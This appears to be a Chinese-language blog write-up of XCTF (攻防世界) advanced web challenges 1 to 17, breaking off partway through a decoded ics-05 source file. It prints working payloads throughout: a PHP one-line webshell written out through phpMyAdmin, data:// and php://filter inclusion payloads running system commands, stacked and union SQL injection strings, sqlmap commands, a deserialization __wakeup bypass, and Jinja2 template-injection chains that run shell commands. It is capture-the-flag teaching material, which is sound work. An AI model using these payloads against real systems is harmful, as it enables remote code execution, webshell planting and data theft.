攻防世界进阶专区——WEB(1~20)
001 baby_web
打开环境:
ctrl+u
查看源代码,和页面内容一摸一样,看题目提示和起始页面有关,在index.php
用 F12 即可在header
里面找到flag。
002 warmup
打开场景:
F12看一下:
这里找到一个source.php
,访问看一下:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
找到了个hint.php
,打开看看:
提示 flag 在 ffffllllaaaagggg 里面,再看 source.php ,
-
传的参数是 source.php 或者 hint.php,则返回真,如果不满足继续往下判断
-
取传进参数首次出现
?
前的部分,再进行白名单判断,如果还不满足继续往下判断 -
先把传进的参数做 urldecode ,接着进行第二部,都不满足就输出
you can't see it
并且返回假
可以看到存在include
:
然后构造payload
就行了。
003 Training-WWW-Robots
打开环境,可以看到和 robots 有关。
robots.txt是个君子协定,他说不准爬我们当然不能爬,所以我们得到了flag。
004 PHP2
打开环境:
????啥情况,F12也没看到有什么东西,在后面加上/index.php
也是一模一样。
扫描完以后就扫出这俩,访问发现啥都没有,看其他师傅的wp,写用御剑会扫出index.phps
。。。。。
phps 文件就是 php 的源代码文件,通常用于提供给用户(访问者)查看 php 代码,因为 用户无法直接通过 Web 浏览器看到 php 文件的内容,所以需要用 phps 文件代替。其 实,只要不用 php 等已经在服务器中注册过的MIME类型为文件即可,但为了国际通用, 所以才用了phps文件类型。
我用御剑扫了半天也没扫出来,可能是没设置好吧,访问一下:
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?
主目录(index.php)接受一个 id 的GET传参; 就是 ?id=xxx
==分析:==题目需要我传 一个 id 的变量 ,使 id === 'admin'
,使用urldecode解码后 ,id == 'admin' 满足这三条 就可以拿到 key 了。
对admin
进行 url 编码 %61%64%6D%69%6E
,提交的时候,要注意上面写的 index.phps 不接受传参 ,提交完发现不行。 id === 'admin'
满足条件了,所以 返回 not allowed
,在 url 地址栏提交数据时,浏览器会自动进行一次urldecode解码 ;浏览器解码了那id提交的就变会 admin 了。
那么将百分号给编码一下就行了,查表得知%
的url编码以后成为了%25
,所以%61%64%6D%69%6E
就变成了%2561%2564%256D%2569%256E
访问一下就得到了flag。
005 Web_php_unserialize
打开环境:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
可以看到有一个fl4g.php
,我们的目的就是为了得到它,需要利用反序列化漏洞:
- 绕过
preg_match
- 绕过
__wakeup
构造==payload==:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$a=new Demo('fl4g.php');
$b=serialize($a);
echo $b;
echo '<br/>';
$b=str_replace(':1:',':2:',$b);
$b=str_replace(':4:',':+4:',$b);
echo $b;
echo '</br>';
$c=base64_encode($b);
echo $c;
//输出:
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
006 ics-06
打开环境:
尝试查看左边的各项,但是只能打开一个:
数据被删除了,尝试输入数据,但是无效
查看一下发现点击是不会有反应的,再观察一下页面,突然发现URL有点异常:
直接bp,因为是基层服务数据,不可能太小,先设置成10000,不行的话再扩大试试:
找到flag了。
007 php_rce
RCE(远程代码执行漏洞)
用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。——以上来自百度百科
==ThinkPHP5框架底层对控制器名过滤不严,可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞。==
打开环境:
github上搜一下这个ThinkPHP V5
:
随便输入一个看一下:
发现可以输出信息,再进一步尝试:
继续:
错误没有显示,原因是命令中少了一个空格。。。。(/和-之间有一个空格)
接着就找到了flag:
008 Web_php_include
打开环境,可以看到:
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
查一下这个strstr
:
strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串。如果是,则该函数返回 str1字符串从 str2第一次出现的位置开始到 str1结尾的字符串;否则,返回NULL。
使用hackbar进行操作:
一直运行不出来,上网查了一下,发现被过滤掉了,按照其他方法:
上面这串字符解码以后就是post传的参数。。。。
解法一:抓包
只能传统方法了,抓包:
找到了疑似flag的文件,查看一下:
解法二:随风kali大神的解法
这个真的太顶了,我想到死都想不出来这个方法,牛逼!!!!
解法三:木马
先拿dirsearch扫一下,当然御剑也可以:
看到存在一个phpmyadmin,进入看一下:
用户名:root
密码:无
传入一句话木马:==select '<?php @eval($_POST[hack]); ?> into outfile '/tmp/webshell.php'==
蚁剑连接:
查找一下就找到了flag:
解法四:data://协议绕过
题目不准使用php,我们就使用data。
data协议的一般格式
==?page=data://text/plain,xxxxxxx==
构造payload:==?page=data://text/plain,<?php system('ls'); ?>==
==?page=data://text/plain,<?php system('cat fl4gisisish3r3.php'); ?>==
方法五:data伪协议木马
==?page=data://text/plain,<?php eval($_POST[hack]); ?>==
009 supersqli
打开环境,F12看一下:
随便输入一下看看:
发现上面这些关键词都不能使用,尝试堆叠注入查询数据库;
查询表信息:
解法一:改名查询
- 将words表名改为words1
- 1919810931114514表名改为words
- 将flag改为id列
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
方法二:利用handler进行查询
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
HANDLER语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。handler语句的语法如下:
HANDLER tbl_name OPEN [ [AS] alias] HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...) [ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST } [ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name READ { FIRST | NEXT } [ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name CLOSE 通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。 通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。 通过HANDLER tbl_name CLOSE来关闭打开的句柄。 通过索引去查看的话可以按照一定的顺序,获取表中的数据。 通过HANDLER tbl_name READ index_name FIRST,获取句柄第一行(索引最小的一行),NEXT获取下一行,PREV获取前一行,LAST获取最后一行(索引最大的一行)。 通过索引列指定一个值,可以指定从哪一行开始。 通过HANDLER tbl_name READ index_name = value,指定从哪一行开始,通过NEXT继续浏览。
直接输入==-1';handler 1919810931114514
open;handler 1919810931114514
read first;#==进行查询即可
方法三:预编译绕过
这个真没想出来,参考师傅们的思路:
-1';set @sql = CONCAT('sele','ct * from `1919810931114514`;');prepare aaa from @sql;EXECUTE aaa;#
预编译,拼接字符串,但是会报错==strstr(\$inject, "set") && strstr(\$inject, "prepare")==
同时过滤了set和prepare,再大小写绕过即可:
1';sEt @sql = CONCAT('sele','ct * from `1919810931114514`;');prepArE aaa from @sql;EXECUTE aaa;#
010 NewsCenter
打开附件:
解法一:手动注入
可以看到有输入点,尝试注入查询:
发现有三列,尝试获取表名:
' and 0 union select 1,table_schema,table_name from information_schema.columns#
获取了一堆表名,可以看到最后有一个secret table
,应该 flag 就在这里面
查询列名称:
' and 0 union select 1,column_name,data_type from information_schema.columns where table_name='secret_table'#
找到了flag,直接查询即可
' and 0 union select 1,2,fl4g from secret_table #
解法二:sqlmap
常用用法
1. sqlmap -u "http://www.xx.com?id=x" 查询是否存在注入点
2. --dbs 检测站点包含哪些数据库
3. --current-db 获取当前的数据库名
4. --tables -D "db_name" 获取指定数据库中的表名 -D后接指定的数据库名称
5. --columns -T "table_name" -D "db_name" 获取数据库表中的字段
6. --dump -C "columns_name" -T "table_name" -D "db_name" 获取字段的数据内容
使用sqlmap搜索flag的命令:
==获取注入点==
sqlmap -u http://111.200.241.244:53231/ --data "search=df"
==获取数据库信息==
sqlmap -u http://111.200.241.244:53231/ --data "search=df" -dbs
==获取库内表信息==
sqlmap -u http://111.200.241.244:53231/ --data "search=df" -D news --tables
==获取表内字段信息==
sqlmap -u http://111.200.241.244:53231/ --data "search=df" -D news -T secret_table --columns
==获取字段内容,得到flag==
sqlmap -u http://111.200.241.244:53231/ --data "search=df" -D news -T secret_table -C "fl4g" --dump
得到flag!!!!
011 NaNNaNNaNNaN-Batman
打开附件,是一个压缩包,解压一下:
以文本形式打开看一下:
<script>_='function $(){e=getEleById("c").value;length==16^be0f23233ace98aa$c7be9){tfls_aie}na_h0lnrg{e_0iit\'_ns=[t,n,r,i];for(o=0;o<13;++o){ [0]);.splice(0,1)}}} \'<input id="c">< onclick=$()>Ok</>\');delete _var ","docu.)match(/"];/)!=null=[" write(s[o%4]buttonif(e.ment';for(Y in $=' ')with(_.split($[Y]))_=join(pop());eval(_)</script>
好多乱码。。将文件名后缀修改为html,打开看一下:
出现了个文本框,但是源代码依然显示不完全,重新审计一下代码。
eval函数没有执行$()
函数,仅执行了字符串,将eval改成alert,弹出代码:
function $(){
var e=document.getElementById("c").value;
if(e.length==16)
if(e.match(/^be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa$/)!=null)
if(e.match(/c7be9/)!=null){
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o){
document.write(s[o%4][0]);s[o%4].splice(0,1)}
}
}
document.write('<input id="c"><button οnclick=$()>Ok</button>');
delete _
构造满足条件的值==e=be0f233ac7be98aa==,重新提交即可。
012 unserialize3
打开环境:
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
代码中的__wakeup()方法如果使用就是和unserialize()反序列化函数结合使用的,可以想到这里实例化xctf类并对其使用序列化。
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
//这里少了个}
$hack=new xctf();
echo(serialize($hack));
?>
输入过程中phpstorm提示我少了个}
,给他加上,然后运行:
如果直接传参给code会被__wakeup()函数再次序列化,所以要绕过他。
__wakeup()
函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup
的执行。因此,需要修改序列化字符串中的属性个数,然后进行访问:
O:
:" ": :{ ... }
O:表示序列化的事对象 < length>:表示序列化的类名称长度 < class name>:表示序列化的类的名称 < n >:表示被序列化的对象的属性个数 < field name 1>:属性名 < field value 1>:属性值
013 upload1
启动环境:
看题目意思应该是一个文件上传漏洞,查看一下源代码,看到了这样一段代码:
function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./,'');
if(['jpg','png'].contains(ext)){
submit.disabled = false;
}else{
submit.disabled = true;
alert('请选择一张图片文件上传!');
}
看样子只能传输.jpg
和.png
文件,修改下代码上传一句话木马:
点击上传,成功!!!
拿webshell管理工具进行连接:
成功获取flag。
014 Web_python_template_injection
先看题目,搜一下相关博客:
一、SSTi服务器端模板注入的概念
SSTI服务器端模板注入(Server-Side Template Injection),我们常见的注入有我们熟悉的SQL注入,两者的不通之处就是SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity,而两者的相同部分就是先从用户处获得值作为web应用模板内容的一部分,然后进行编译渲染,如果在其中用户插入了恶意内容,就可能导致一系列的不良后果,比如RCE、信息泄露、getshell等等(凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎
打开环境,试探一下是不是模板注入:==/hack={{2*3}}==
执行控制语句:
CTRL+F
搜寻一下flag相关信息:
不知道是不是,=={{ config.items() }}==查看配置信息:
寻找类对象:
寻找基类:
查看文件:==/{{''.class.mro[-1].subclasses()[71].init.globals['os'].listdir('./')}}==
获取flag:==/{{''.class.mro[-1].subclasses()[40]('fl4g').read()}}==
拓展:模板注入常见姿势:
常见payload:
//获取基本类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object
//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()
//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')
//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
查找命令:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }} //poppen的参数就是要执行的命令
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
015 easytornado
打开环境:
/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))
看题目是一个tornado模板注入,搜索一下:
tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。
猜测一下MD5后的结果就是filehash,尝试进行修改:
和上面的模板注入联系起来,构造payload:==error?msg\={{1}}==
可见存在模板注入点,输入查询语句:==error?msg\={{handler.settings}}==
目前大多数服务器判断用户是否登录一般通过session机制,Tornado 通过 set_secure_cookie 和 get_secure_cookie 方法直接支持了这种功能。原理类似于session,只不过session是服务器自动生成一个sessionID存储在cookie里,而tornado需要我们手工设cookie。然后通过self.current_user的重载函数就可以实现用户的验证。
首先来看下set_secure_cookie和get_secure_cookie的使用方法:
Tornado的set_secure_cookie()和get_secure_cookie()函数发送和取得浏览器的cookies,以防范浏览器中的恶意修改。为了使用这些函数,你必须在应用的构造函数中指定cookie_secret参数。
在线加解密:
==MD5(b281628e-b27b-40ea-bd2a-bc8dcb1c1a8e594cb6af684ad354b4a59ac496473990)==
\===776c91acb7194ff96b04a78c8701a42b==
构造payload:http://111.200.241.244:63263/file?filename=/flag.txt&filehash=578ffccad93ad9c83f995c3a3d1515a8
没反应?????
重新看一下是不是漏掉了,莫非filename是/fllllllllllllag
而非fllllllllllllag
假装没看wp
得到flag:==flag{3f39aea39db345769397ae895edb9c70}==
016 shrine
启动靶机:
import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True)
整理一下:
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set{}=None %}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
按照它说的尝试一下模板注入,看看存不存在:
可以看到存在模板注入(SSTI),对象的魔术方法:
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
上面发现对self和config进行了过滤,构造payload:
==/shrine/{{url_for.globals['current_app'].config['FLAG']}}==
或者:==/shrine/{{get_flashed_messages.globals['current_app'].config['FLAG']}}==
得到flag。
拓展可以看一下这篇博客https://www.cnblogs.com/shishangxianfeng/articles/10795893.html
017 ics-05
启动环境:
题目提到了这个工控云管理系统设备维护中心的后门,估计和后台有关,使用dirsearch看一下:
看到了/index.php/login/
,尝试访问:
看到上面page有index这个参数,联想到文件包含获取源码:
?page=php://filter/read=convert.base64-encode/resource=index.php
得到:
PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwoKQHNlc3Npb25fc3RhcnQoKTsKcG9zaXhfc2V0dWlkKDEwMDApOwoKCj8+CjwhRE9DVFlQRSBIVE1MPgo8aHRtbD4KCjxoZWFkPgogICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgogICAgPG1ldGEgbmFtZT0icmVuZGVyZXIiIGNvbnRlbnQ9IndlYmtpdCI+CiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UsY2hyb21lPTEiPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBtYXhpbXVtLXNjYWxlPTEiPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJsYXl1aS9jc3MvbGF5dWkuY3NzIiBtZWRpYT0iYWxsIj4KICAgIDx0aXRsZT7orr7lpIfnu7TmiqTkuK3lv4M8L3RpdGxlPgogICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDx1bCBjbGFzcz0ibGF5dWktbmF2Ij4KICAgICAgICA8bGkgY2xhc3M9ImxheXVpLW5hdi1pdGVtIGxheXVpLXRoaXMiPjxhIGhyZWY9Ij9wYWdlPWluZGV4Ij7kupHlubPlj7Dorr7lpIfnu7TmiqTkuK3lv4M8L2E+PC9saT4KICAgIDwvdWw+CiAgICA8ZmllbGRzZXQgY2xhc3M9ImxheXVpLWVsZW0tZmllbGQgbGF5dWktZmllbGQtdGl0bGUiIHN0eWxlPSJtYXJnaW4tdG9wOiAzMHB4OyI+CiAgICAgICAgPGxlZ2VuZD7orr7lpIfliJfooag8L2xlZ2VuZD4KICAgIDwvZmllbGRzZXQ+CiAgICA8dGFibGUgY2xhc3M9ImxheXVpLWhpZGUiIGlkPSJ0ZXN0Ij48L3RhYmxlPgogICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2h0bWwiIGlkPSJzd2l0Y2hUcGwiPgogICAgICAgIDwhLS0g6L+Z6YeM55qEIGNoZWNrZWQg55qE54q25oCB5Y+q5piv5ryU56S6IC0tPgogICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ic2V4IiB2YWx1ZT0ie3tkLmlkfX0iIGxheS1za2luPSJzd2l0Y2giIGxheS10ZXh0PSLlvIB85YWzIiBsYXktZmlsdGVyPSJjaGVja0RlbW8iIHt7IGQuaWQ9PTEgMDAwMyA/ICdjaGVja2VkJyA6ICcnIH19PgogICAgPC9zY3JpcHQ+CiAgICA8c2NyaXB0IHNyYz0ibGF5dWkvbGF5dWkuanMiIGNoYXJzZXQ9InV0Zi04Ij48L3NjcmlwdD4KICAgIDxzY3JpcHQ+CiAgICBsYXl1aS51c2UoJ3RhYmxlJywgZnVuY3Rpb24oKSB7CiAgICAgICAgdmFyIHRhYmxlID0gbGF5dWkudGFibGUsCiAgICAgICAgICAgIGZvcm0gPSBsYXl1aS5mb3JtOwoKICAgICAgICB0YWJsZS5yZW5kZXIoewogICAgICAgICAgICBlbGVtOiAnI3Rlc3QnLAogICAgICAgICAgICB1cmw6ICcvc29tcnRoaW5nLmpzb24nLAogICAgICAgICAgICBjZWxsTWluV2lkdGg6IDgwLAogICAgICAgICAgICBjb2xzOiBbCiAgICAgICAgICAgICAgICBbCiAgICAgICAgICAgICAgICAgICAgeyB0eXBlOiAnbnVtYmVycycgfSwKICAgICAgICAgICAgICAgICAgICAgeyB0eXBlOiAnY2hlY2tib3gnIH0sCiAgICAgICAgICAgICAgICAgICAgIHsgZmllbGQ6ICdpZCcsIHRpdGxlOiAnSUQnLCB3aWR0aDogMTAwLCB1bnJlc2l6ZTogdHJ1ZSwgc29ydDogdHJ1ZSB9LAogICAgICAgICAgICAgICAgICAgICB7IGZpZWxkOiAnbmFtZScsIHRpdGxlOiAn6K6+5aSH5ZCNJywgdGVtcGxldDogJyNuYW1lVHBsJyB9LAogICAgICAgICAgICAgICAgICAgICB7IGZpZWxkOiAnYXJlYScsIHRpdGxlOiAn5Yy65Z+fJyB9LAogICAgICAgICAgICAgICAgICAgICB7IGZpZWxkOiAnc3RhdHVzJywgdGl0bGU6ICfnu7TmiqTnirbmgIEnLCBtaW5XaWR0aDogMTIwLCBzb3J0OiB0cnVlIH0sCiAgICAgICAgICAgICAgICAgICAgIHsgZmllbGQ6ICdjaGVjaycsIHRpdGxlOiAn6K6+5aSH5byA5YWzJywgd2lkdGg6IDg1LCB0ZW1wbGV0OiAnI3N3aXRjaFRwbCcsIHVucmVzaXplOiB0cnVlIH0KICAgICAgICAgICAgICAgIF0KICAgICAgICAgICAgXSwKICAgICAgICAgICAgcGFnZTogdHJ1ZQogICAgICAgIH0pOwogICAgfSk7CiAgICA8L3NjcmlwdD4KICAgIDxzY3JpcHQ+CiAgICBsYXl1aS51c2UoJ2VsZW1lbnQnLCBmdW5jdGlvbigpIHsKICAgICAgICB2YXIgZWxlbWVudCA9IGxheXVpLmVsZW1lbnQ7IC8v5a+86Iiq55qEaG92ZXLmlYjmnpzjgIHkuoznuqfoj5zljZXnrYnlip/og73vvIzpnIDopoHkvp3otZZlbGVtZW505qih5Z2XCiAgICAgICAgLy/nm5HlkKzlr7zoiKrngrnlh7sKICAgICAgICBlbGVtZW50Lm9uKCduYXYoZGVtbyknLCBmdW5jdGlvbihlbGVtKSB7CiAgICAgICAgICAgIC8vY29uc29sZS5sb2coZWxlbSkKICAgICAgICAgICAgbGF5ZXIubXNnKGVsZW0udGV4dCgpKTsKICAgICAgICB9KTsKICAgIH0pOwogICAgPC9zY3JpcHQ+Cgo8P3BocAoKJHBhZ2UgPSAkX0dFVFtwYWdlXTsKCmlmIChpc3NldCgkcGFnZSkpIHsKCgoKaWYgKGN0eXBlX2FsbnVtKCRwYWdlKSkgewo/PgoKICAgIDxiciAvPjxiciAvPjxiciAvPjxiciAvPgogICAgPGRpdiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXIiPgogICAgICAgIDxwIGNsYXNzPSJsZWFkIj48P3BocCBlY2hvICRwYWdlOyBkaWUoKTs/PjwvcD4KICAgIDxiciAvPjxiciAvPjxiciAvPjxiciAvPgoKPD9waHAKCn1lbHNlewoKPz4KICAgICAgICA8YnIgLz48YnIgLz48YnIgLz48YnIgLz4KICAgICAgICA8ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlciI+CiAgICAgICAgICAgIDxwIGNsYXNzPSJsZWFkIj4KICAgICAgICAgICAgICAgIDw/cGhwCgogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkcGFnZSwgJ2lucHV0JykgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgZGllKCk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkcGFnZSwgJ3RhOnRleHQnKSA+IDApIHsKICAgICAgICAgICAgICAgICAgICBkaWUoKTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRwYWdlLCAndGV4dCcpID4gMCkgewogICAgICAgICAgICAgICAgICAgIGRpZSgpOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIGlmICgkcGFnZSA9PT0gJ2luZGV4LnBocCcpIHsKICAgICAgICAgICAgICAgICAgICBkaWUoJ09rJyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaW5jbHVkZSgkcGFnZSk7CiAgICAgICAgICAgICAgICAgICAgZGllKCk7CiAgICAgICAgICAgICAgICA/PgogICAgICAgIDwvcD4KICAgICAgICA8YnIgLz48YnIgLz48YnIgLz48YnIgLz4KCjw/cGhwCn19CgoKLy/mlrnkvr/nmoTlrp7njrDovpPlhaXovpPlh7rnmoTlip/og70s5q2j5Zyo5byA5Y+R5Lit55qE5Yqf6IO977yM5Y+q6IO95YaF6YOo5Lq65ZGY5rWL6K+VCgppZiAoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ10gPT09ICcxMjcuMC4wLjEnKSB7CgogICAgZWNobyAiPGJyID5XZWxjb21lIE15IEFkbWluICEgPGJyID4iOwoKICAgICRwYXR0ZXJuID0gJF9HRVRbcGF0XTsKICAgICRyZXBsYWNlbWVudCA9ICRfR0VUW3JlcF07CiAgICAkc3ViamVjdCA9ICRfR0VUW3N1Yl07CgogICAgaWYgKGlzc2V0KCRwYXR0ZXJuKSAmJiBpc3NldCgkcmVwbGFjZW1lbnQpICYmIGlzc2V0KCRzdWJqZWN0KSkgewogICAgICAgIHByZWdfcmVwbGFjZSgkcGF0dGVybiwgJHJlcGxhY2VtZW50LCAkc3ViamVjdCk7CiAgICB9ZWxzZXsKICAgICAgICBkaWUoKTsKICAgIH0KCn0KCgoKCgo/PgoKPC9ib2R5PgoKPC9odG1sPgo=
解密一下:
<?php
error_reporting(0);
@session_start();
posix_setuid(1000);
?>
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<meta name="renderer" content="webkit">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<link rel="stylesheet" href="layui/css/layui.css" media="all">
<title>设备维护中心</title>
<meta charset="utf-8">
</head>
<body>
<ul class="layui-nav">
<li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
</ul>
<fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
<legend>设备列表</legend>
</fieldset>
<table class="layui-hide" id="test"></table>
<script type="text/html" id="switchTpl">
<!-- 这里的 checked 的状态只是演示 -->
<input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>
</script>
<script src="layui/layui.js" charset="utf-8"></script>
<script>
layui.use('table', function() {
var table = layui.table,
form = layui.form;
table.render({
elem: '#test',
url: '/somrthing.json',
cellMinWidth: 80,
cols: [
[
{ type: 'numbers' },
{ type: 'checkbox' },
{ field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
{ field: 'name', title: '设备名', templet: '#nameTpl' },
{ field: 'area', title: '区域' },
{ field: 'status', title: '维护状态', minWidth: 120, sort: true },
{ field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }
]
],
page: true
});
});
</script>
<script>
layui.use('element', function() {
var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块
//监听导航点击
element.on('nav(demo)', function(elem) {
//console.log(elem)
layer.msg(elem.text());
});
});
</script>
<?php
$page = $_GET[page];
if (isset($page)) {
if (ctype_alnum($page)) {
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />
<?php
}else{
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php
if (strpos($page, 'input') > 0) {
die();
}
if (strpos($page, 'ta:text') > 0) {
die();
}
if (strpos($page, 'text') > 0) {
die();
}
if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
?>
</p>
<br /><br /><br /><br />
<?php
}}
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
